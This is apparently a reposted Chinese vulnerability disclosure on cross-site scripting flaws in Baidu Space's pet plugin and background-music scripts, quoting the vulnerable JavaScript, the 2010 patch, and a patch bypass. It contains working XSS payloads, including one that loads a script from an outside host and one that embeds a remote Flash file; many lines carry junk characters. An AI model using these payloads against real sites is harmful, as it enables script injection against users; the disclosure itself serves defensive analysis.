百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
; e( v3 q: M! @' G+ Z7 \$ K* Q! i+ P8 w7 z
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
* s z3 B! l" U( X0 c$ r2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
6 Q0 H% A4 R! d i2 k* d0 t' `" u3 b# {; L5 \
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 7 l+ \+ R0 e1 R
其中BdUtil.insertWBR为 # E4 x, Z6 P- q# j6 i) g* W* Y
function(text, step) {
2 i1 x o+ l( k! j, V var textarea = textAreaCache || getContainer();
! T" m+ i7 v' N" r. d5 t if (!textarea) {
9 c5 K4 |/ n0 q0 Z return text; . i- U6 E. B. ^& u2 D) Z
} # S" G, [, x+ e+ g7 i) g+ G \" J/ A
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 7 A4 ?3 v% y! W F
var string = textarea.value; & ?" k& }# L, r3 a1 Q# g u
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); $ e1 S/ q3 l& v/ y1 |0 N
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
$ F4 X& ^+ g% e4 V: f( I return result;
0 W$ [4 J; n0 j [$ u* R} ; Y0 t4 G& z/ B% q* G
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. % q7 k4 N6 P7 k& Q
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
9 U0 |4 h; p" L. ^
4 B( K" s( q% p# s2 R! o二:creatbgmusic() Dom-Xss Bug w' Z' N9 ^! p
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 4 T" @; ^- q& e7 p# k! b
- f3 T( D; v, V, L
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: / t' u2 g* P- l; c* d
2 c& h* N+ M6 F/ P7 B7 ]
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
4 q$ ?$ x' H+ H7 _* ~ //传入的murl赋值到bgmusic1和bgmusic2中
2 w3 o/ s5 v' N //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
+ |$ O( R$ A" h. _8 B var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
9 K5 a9 b, ^, |. G$ @+ t if (musicnum <= 1) { 8 D s3 o% n4 k* u1 n% h$ W/ x8 Y% M; X
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; ! [9 U- a; B9 t* H
} % i9 \0 M4 b5 [/ o" P/ P0 ~
bgmusic1 += "</OBJECT>"; ( y# G3 Q( f. p1 S
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
( @3 G8 U5 J+ q. ~ U4 k- y if (musicnum <= 1) { ! J( D0 l, q5 s2 O) l
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
3 S1 A$ ]4 _) P7 N- i; t } 8 M6 ~7 \9 _; V) T, Z4 M$ q' f
bgmusic2 += "> </EMBED>"; 6 v& j* a" R2 V' U
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
' q$ m5 }' ?! {# o: W) j var bgmus = detectWMP();
) M1 m9 b# P5 Z if (functype == "FckMusicHelper") {
: n3 H; f2 S, p" {. t3 p if (bgmus.installed) { ( [( e9 ^) _! V$ @7 p
if (bgmus.type == "IE") {
7 v+ @! [- m$ S O* s: }, E& O. T, r return bgmusic1;
# p+ o: u& c ]2 _9 I. o2 H0 s9 ~3 l } else if (bgmus.type == "NS") { 8 {3 s9 L; N: ~" p8 T# ^ d# Z; f
return bgmusic2;
% k! w6 e Z5 H% y! [) |7 e" f } ) J! ?# Q0 {5 t
} else {
6 w3 I8 e8 H: F2 h return bgmusic3;
, v* m7 M9 H0 ~" E, v, p4 ` } " A1 T1 {) T7 V4 Z6 X
} else { : Y/ y1 S3 S- e7 j6 p
if (bgmus.installed) { ) Y0 ?$ j. k/ n+ v" X
//document.write 直接输出bgmusic变量 导致xss ' z% W5 K6 ]8 ~
if (bgmus.type == "IE") {
% ^! g9 @5 ^/ P" \! H2 i5 f* g document.write(bgmusic1); 8 N w. s. x F) `- V
} else if (bgmus.type == "NS") {
1 y0 @4 q% i4 W6 H document.write(bgmusic2);
0 W! g% B3 c; ]) L9 L8 j } 6 k5 j7 o) z2 |% _+ k
} else { ; j) A3 }2 x* ]- F5 F
document.write(bgmusic3); / e! N8 e( ~6 y+ l
} 0 [" \1 i1 o, o9 U2 g
return ""; : B- D9 n4 X+ \
}
" s1 m$ G; \2 P" i}
" t* [+ {* Z) ]% q/ E0 y; b' D5 b7 U/ _5 M( ]8 L
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
" S; B1 N2 B* a& P) ^" N0 J( a) S+ ?5 Q0 Z
function initBlogTextForFCK(){ 3 f5 S4 H C& G) Z+ B& h( o% h7 p
//fck init music
6 m( S w4 {. E7 Sif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
( P/ d' M( \8 Qvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
2 m* W$ h% ~" U& _. A1 f N- i7 Q9 ovar isAutoPlay=true; : l- n' V- d8 g! x& ]# B/ b8 }
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. ; u8 N5 j3 z2 J# ]3 B& W' d- L
var img=imgBox; 8 N6 g; p( i$ x9 D# i7 a
if(img.getAttribute(’rel’)){
; e2 ^ Z- M, A8 ]6 ]) | var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc 4 {8 J- i. p! |$ w
var musicDiv = document.createElement("SPAN"); # @2 i" x; Y A; L. Z3 Q
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] ; q0 d3 V: J+ T' `
% }- G# V9 x: b' {& L ..........................
' M) Z8 q4 E* I7 T; G# l2 ] % x, N4 f% f7 k/ f& s
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. ) ?3 L5 [0 f2 |! ]2 K+ J
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
8 E1 `/ b4 j# z2 H' B shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); 0 Y/ W; C* m8 Y! d/ t
musicDiv.innerHTML=shtml; 6 Q3 E( [, H9 }$ X2 H! n9 N, T
i--;n--; 1 ^) a. |. |' H9 X% w
}
& X. H3 m! I: [% Z}
4 r- c$ G* z* T* g" t, J8 Q9 d* l6 ]5 A' \, w- }4 V8 T; ^( B9 q6 j4 l
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. , [2 ]9 {# m+ {4 M; ~
7 x5 S4 L" @( I
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
: @( Y$ s9 y9 A- K8 q5 O: J- o! I, h7 ~! s, l6 q( b, \8 j. {8 p4 C
等待官方补丁
! m6 Z4 U; S0 n3 Q2 z6 T$ _. t$ s; J; i: y& m8 B/ K
update 2010年5月13日 $ n r$ T7 O0 f! m& z4 q
- |4 U) v/ m1 _; U官方补丁:
' K" t, ^; {! ]8 v. i' g( s: o! @% O( u- B9 V: D* n0 _9 ~# P
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 1 U* B; p: l9 t
改为: 1 S: K- v5 E0 M6 W2 E
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); " R. U1 k" b+ G. j8 M( g' \5 x" i
$ j4 _; s5 N3 y$ X3 D
update 2010年5月13日 21:50:37
# I- o4 i4 f; s, ]9 g
0 S0 Q$ Z1 ~. R9 f* K w补丁存在漏洞 没有过滤" 可以继续跨: / M& `" {2 O+ T8 C0 f$ t
, k1 i* A. n3 B! n3 m
NEW POC: # W9 L& S% h( Q; F( m
5 B6 p# i d; D2 a<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 4 Z: J$ e7 G+ ?
% k2 h- G6 g! ^2 Fallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>- `! J5 ^9 m7 z1 r4 f9 E& l
' b, S4 w; h1 I$ v |